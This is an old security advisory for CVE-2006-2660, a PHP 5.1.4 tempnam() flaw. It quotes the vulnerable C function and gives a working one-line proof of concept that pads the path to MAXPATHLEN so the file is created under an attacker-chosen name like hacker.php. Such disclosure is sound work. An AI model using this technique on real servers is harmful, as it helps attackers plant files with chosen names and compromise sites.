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[tempnam() Bypass unique file name PHP 5.1.4]


Author: Maksymilian Arciemowicz (cXIb8O3)

Date:

- -Written: 22.5.2006

- -Public: 11.6.2006

from SECURITYREASON.COM

CVE-2006-2660


- --- 0.Description ---

PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from 
C, Java and Perl with a couple of unique PHP-specific features thrown in. The 
goal of the language is to allow web developers to write dynamically generated 
pages quickly.


A nice introduction to PHP by Stig Sæther Bakken can be found at 
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the 
PHP Conference Material is freely available.

tempnam -- Create file with unique file name.


- --- 1. tempnam() Bypass unique file name ---

In lastes adv i have public an issue "Open Basedir Bypass". In function 
tempname() are required 2 arg`s.


http://pl.php.net/manual/en/function.tempnam.php


string tempnam ( string dir, string prefix )


In PHP 5.1.4 exists bug that allows you to create file with any name.


- ---

cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";'

/www/temp/hacker.phpGQMqSE 

- ---


You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically 
added to filename.

Problem exists, because  path couldn't be longer than MAXPATHLEN. In standard 
MAXPATHLEN is 1024B. 


- -771-805---

PHP_FUNCTION(tempnam)

{

        zval **arg1, **arg2;

        char *d;

        char *opened_path;

        char *p;

        int fd;

        size_t p_len;


        if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == 
FAILURE) {

                WRONG_PARAM_COUNT;

        }

        convert_to_string_ex(arg1);

        convert_to_string_ex(arg2);


        if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {

                RETURN_FALSE;

        }

        

        d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));


        php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len 
TSRMLS_CC);

        if (p_len > 64) {

                p[63] = '\0';

        }


        if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) {

                close(fd);

                RETVAL_STRING(opened_path, 0);

        } else {

                RETVAL_FALSE;

        }

        efree(p);

        efree(d);

}

- -771-805---


So if you create path like /www/../www/.. etc. 


arg1+arg2=1023


uniqueid is not given to path. 


Example:


- ---

cxib# php -r 'echo 
tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
 www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";'

/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
 www/../www/../www/temp/hacker.php

- ---


= /www/temp/hacker.php


- ---

cxib# ls -la /www/temp/hacker*

- -rw-------  1 cxib  cxib  0 May 22 23:33 /www/temp/hacker.php

- -rw-------  1 cxib  cxib  0 May 22 23:26 /www/temp/hacker.phpGQMqSE

- ---



- --- 2. How to fix ---

CVS

http://cvs.php.net/viewcvs.cgi/php-src/NEWS


- --- 3. Greets ---


For: sp3x

and

p_e_a, l3x, pi3, eax, Infospec ;]


- --- 4. Contact ---

Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]

Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com

GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

SecurityReason.Com

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